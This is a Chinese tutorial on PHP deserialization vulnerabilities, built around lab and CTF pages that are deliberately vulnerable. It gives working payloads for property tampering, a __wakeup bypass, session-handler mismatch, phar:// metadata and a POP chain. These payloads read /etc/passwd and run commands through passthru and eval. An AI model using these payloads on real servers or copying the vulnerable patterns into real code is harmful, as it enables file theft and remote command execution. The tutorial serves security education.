浅谈PHP反序列化漏洞原理

序列化与反序列化

序列化用途：方便于对象在网络中的传输和存储

0x01 php反序列化漏洞

在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。

常见的序列化格式：

• 二进制格式
• 字节数组
• json字符串
• xml字符串

序列化就是将对象转换为流，利于储存和传输的格式

反序列化与序列化相反，将流转换为对象

例如：json序列化、XML序列化、二进制序列化、SOAP序列化

而php的序列化和反序列化基本都围绕着 serialize()，unserialize()这两个函数

php对象中常见的魔术方法

__construct()	// 当一个对象创建时被调用，
__destruct()	// 当一个对象销毁时被调用，
__toString()	// 当一个对象被当作一个字符串被调用。
__wakeup()		// 使用unserialize()会检查是否存在__wakeup()方法，如果存在则会先调用，预先准备对象需要的资源
__sleep()		// 使用serialize()会检查是否存在__wakeup()方法，如果存在则会先调用，预先准备对象需要的资源
__destruct()	// 对象被销毁时触发
__call()		// 在对象上下文中调用不可访问的方法时触发
__callStatic()	// 在静态上下文中调用不可访问的方法时触发
__get()			// 用于从不可访问的属性读取数据
__set()			// 用于将数据写入不可访问的属性
__isset()		// 在不可访问的属性上调用isset()或empty()触发
__unset()		// 在不可访问的属性上使用unset()时触发
__toString()	// 把类当作字符串使用时触发,返回值需要为字符串
__invoke()		// 当脚本尝试将对象调用为函数时触发

PHP序列化数据

测试脚本 test.php

<?php
	class User
    {
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()
        {
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
        }
    }
	$user = new User();
	$user->name = 'default';
	$user->age = '0';
	$user->addr = 'default';
	echo serialize($user);
?>

这是一个对象通过serialize()方法序列化后的格式

a - array                  b - boolean
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

当一个页面发现传递参数类似对象序列化的数据格式，可以测试是否存在反序列化漏洞

php对象中属性的访问级别

测试 test.php

class User
{
	private $name = 'default';
	public $age = 18;
	protected $addr = 'default';
	public function __toString()
   	{
   		return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private 的属性序列化后变成 <0x00>对象<0x00>属性名

public 没有任何变化

protected 的属性序列化后变成 <0x00>*<0x00>属性名

特殊十六进制<0x00>表示一个坏字节，就是空字节

下面测试正确的传值姿势进行反序列化

代码后添加几句

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

先是测试普通的访问形式来传值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改，private、protected无法被对象外修改

如何才能从外部修改被保护的属性值呢？

将 <0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以发现即使是被保护的属性也会被外部修改

php反序列化演示

假设页面有个接口参数可控

<?php
    class FileClass
    {
        public $filename = 'error.log';
        public function __toString()
        {
            return file_get_contents($this->filename);
        }
    }
    class User
    {
        public $name = '';
        public $age = 0;
        public $addr = '';

        public function __toString()
        {
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
        }
    }
	# 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?>

测试页面是通过post来传递参数，实战环境不一定在post中，参数可能会被加密编码过

先传递一个 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通过修改参数，判断参数是否可变

参数可变

反序列化漏洞利用

漏洞形成条件

1. 参数可变
2. 有可利用函数

假设存在可利用函数

测试代码 test.php

<?php
    class FileClass
    {
        public $filename = 'error.log';
        public function __toString()
        {
            # 读取文件函数
            return file_get_contents($this->filename);
        }
    }
    class User
    {
        public $name = '';
        public $age = 0;
        public $addr = '';

        public function __toString()
        {
            return '用户名: '.$this->name.'<br> 年龄: '.$this->age.'<br/>地址: '.$this->addr;
        }
    }
	# 参数可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?>

可知存在一个file_get_contents()文件读取函数。

构造恶意参数 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

将之前User的接口改为读取文件的类构造参数，FileClass只有一个filename属性，只需要传递要读取的文件名就行

用同样的参数名传递恶意参数，导致当前目录的test.php被读取，也可以尝试读取其他文件

读取test.txt

尝试读取/etc/passwd

构造参数 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 绕过 __wakeup()

__wakeup() 类似一个预处理的作用，在执行unserialize()时会检测是否存在wakeup，存在则先执行 __wakeup()

绕过方式

这种方式绕过是由PHP的版本漏洞造成的

绕过__wakeup()只需要将参数的个数改成超过现有的参数个数即可

影响版本

PHP5 < 5.6.25

PHP7 < 7.0.10

5.6.40和5.5.38测试对比

测试页面 test.php

测试版本 php 5.6.40

测试系统 Linux

IP ：192.168.80.11

<?php
    // ...省略其他代码
	class CMDClass{
		public $cmd = "";
		function __wakeup(){
			if(strpos($this->cmd,'ls')!==false){
				$this->cmd = " ";
			}
		}
		function __destruct(){
			passthru($this->cmd,$result);
		}
		function __toString(){
			return "";
		}
	}
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?>

这里 __wakeup() 中，判断如果输入的cmd参数中存在 "ls" 的字符串，则将cmd置为空格。

构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

将参数的个数改成超过现有的参数个数进行绕过

更新后的版本，无法绕过会产生报错

换一台虚拟机进行测试

测试页面 test.php

测试版本 php 5.5.38

测试系统 Windows 7

IP ：192.168.80.128

测试页面 php_unser.php

<?php
    // ...其余都一样
		function __wakeup(){
    		# 因为win7没有ls命令，所以这里来限制ipconfig命令
			if(strpos($this->cmd,'ip')!==false){
				$this->cmd = "echo 非法输入";
			}
		}
?>

构造参数 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

发现被__wakeup()过滤了

修改参数个数进行绕过 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

经测试可以绕过

0x03 Session反序列化

php中的session内容不是存放在内存中，是以文件形式存在。存储方式就是由配置项session.save_handler来进行确定的，默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的，文件的内容就是session值的序列化之后的内容。

存储方式

• php_binary 存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
• php 存储方式是，键名+竖线+经过serialize()函数序列处理的值
• php_serialize(php>5.5.4) 存储方式是，经过serialize()函数序列化处理的值

设置格式

ini_set('session.serialize_handler', '需要设置的引擎');

默认下session存储为 php 存储方式

<?php
	session_start();
	$_SESSION['name'] = 'admin';
	echo "session_id: ".session_id()."<br>";
	passthru("cat /tmp/sess_".session_id());
?>
// session内容	name|s:5:"admin";

php_serialize引擎

ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session内容	a:1:{s:4:"name";s:5:"admin";}

php_binary引擎

ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session内容

ASCII的值为4的字符无法打印显示

漏洞原理

当session使用不当，如php反序列化储存时使用引擎和序列化使用的引擎不一样，就会形成漏洞。

漏洞复现

本次测试，以 php引擎和 php_serialize引擎混合引发的漏洞

测试页面1 target1.php --> php_serialize引擎

<?php
	ini_set('session.serialize_handler', 'php_serialize');
	session_start();
	$_SESSION["name"]=$_GET["name"];

	if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
		echo "欢迎来到第一个页面，Session已保存！";
	}
?>

测试页面2 target2.php --> php引擎

<?php
	ini_set('session.serialize_handler','php');
	session_start();
	// 开启session之后 无需调用会自动加载
	class Admin
	{
		var $name;
		function __construct()
		{
			$this->name = "default";
		}
		function __destruct(){
            // 执行命令
			passthru($this->name);
		}
	}
?>

通过向 target1.php传递一个name为 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然后在访问 target2.php，会发现之前传递参数中的 cat /etc/passwd命令被执行

这是发生了什么？！！

漏洞触发流程

首先通过访问 target1.php并且传递了参数 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

而target1.php页面是php_serialize引擎来存储session，所以session保存后的内容变成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然后当访问target2.php时，会用第二个页面的 php引擎来解析session，通过 |来分割字符串取出对应的值；

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解后， a:1:{s:4:"name";s:48:"admin被当作session的key值

O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的存储方式

通过session将O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就会生成 Admin对象和一个属性值为 cat /etc/passwd的name

再通过对象的销毁魔术方法__destruct()就会形成恶意的命令执行

CTF题实战

为了符合题意需要将 php.ini中的 serialize_handler 修改一下

题目测试页面 test3.php

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    } 

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('test3.php'));
}
?>

访问 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面将的漏洞环境

通过源码可以看出并没有可以传入参数的地方

不过在phpinfo中可以看到 session.upload_progress.enabled 是打开的

Session 上传进度

当 session.upload_progress.enabled INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态

当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值

构造一个post表单

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit">
</form>

上传一个文件，抓包分析

修改 filename 的值为 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后储存

后输出页面被 php引擎解析触发反序列化漏洞

构造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍历 /tmp/ 内的所有文件

0x04 反序列化绕过正则

测试页面源码 test4.php

<?php
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby
{
    public $file;
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else
{
    highlight_file("./test4.php");
}
?>

首先访问 <http://192.168.80.11/test4.php>

通过源码可以看出存在一个反序列化漏洞

根据之前的经验直接构造一个 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正则表达式 preg_match('/[oc]:\d+:/i',$data,$matches); 对序列化字符串做了限制导致触发防御

接下来尝试绕过正则表达式，前面的O:4:符合正则的条件，因此将其绕过即可。利用符号+就不会正则匹配到数字，新的payload 为O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并没有什么变化的原因是，在url中 + 号会被解释为空格，所以需要将 + url编码后加入

尝试访问 flag.php

绕过正则表达式

实战中需根据正则表达式规则来进行绕过

0x05 phar反序列化

phar伪协议触发php反序列化

phar://协议

可以将多个文件归入一个本地文件夹，也可以包含一个文件

phar文件

PHAR（PHP归档）文件是一种打包格式，通过将许多PHP代码文件和其他资源（例如图像，样式表等）捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名，PHAR格式的归档需要使用自己写的PHP代码。

案例演示

假设已知页面 test5.php

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "nice"';
        function __destruct(){
            eval($this->output);
        }
    }
        var_dump(file_exists($filename));
        file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}

接下来根据源码中的类来构造一个phar文件

创建一个 phar.php

<?php
class MyClass{
	var $output='phpinfo();';
	function __destruct(){
    	eval($this->output);
	}
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后缀必须为 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);	// 将自定义的meta-data存入manifest
$phar->addFromString("test.txt","test");	// 添加压缩文件
// 签名自动计算
$phar->stopBuffering();
?>

通过访问或者 php 编译去生成 phar文件

注意：必须要在php.ini中设置 phar.readonly = Off 不然无法生存phar文件

通过查看，其中有一串序列化字符串正是和已知页面源码中类相对应

可以通过上传文件等方式将phar文件放到服务器上

先通过正常url http://192.168.80.11/test5.php?filename=index.php 访问

找到phar文件的路径

利用 phar:// 协议来访问

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串来导致页面反序列化漏洞的

0x06 POP链构造

测试页面 pop.php

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
        }
}
$a = $_GET['string'];
unserialize($a);
?>

解题思路：

1. 首先发现找到flag，发现flag需要通过GetFlag类中get_flag()函数输出，然后可以看到string1类中的__toString()方法可以直接调用get_flag()方法，而str1需要赋值为GetFlag。
2. 发现类func中存在__invoke方法执行了字符串拼接，需要把func当成函数使用自动调用__invoke然后把$mod1赋值为string1的对象与$mod2拼接。
3. 在funct中找到了函数调用，需要把mod1赋值为func类的对象，又因为函数调用在__call方法中，且参数为$test2,即无法调用test2方法时自动调用 __call方法；
4. 在Call中的test1方法中存在$this->mod1->test2();，需要把$mod1赋值为funct的对象，让__call自动调用。
5. 查找test1方法的调用点，在start_gg中发现$this->mod1->test1();，把$mod1赋值为start_gg类的对象，等待__destruct()自动调用。

通过构造pop链输出payload

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1赋值为Call类对象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1赋值为funct类对象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1赋值为func类对象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1赋值为string1类对象

        }
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
        }
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//构造start_gg类对象$b
echo serialize($b);

执行后输出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

将payload带入到参数发送请求，输出flag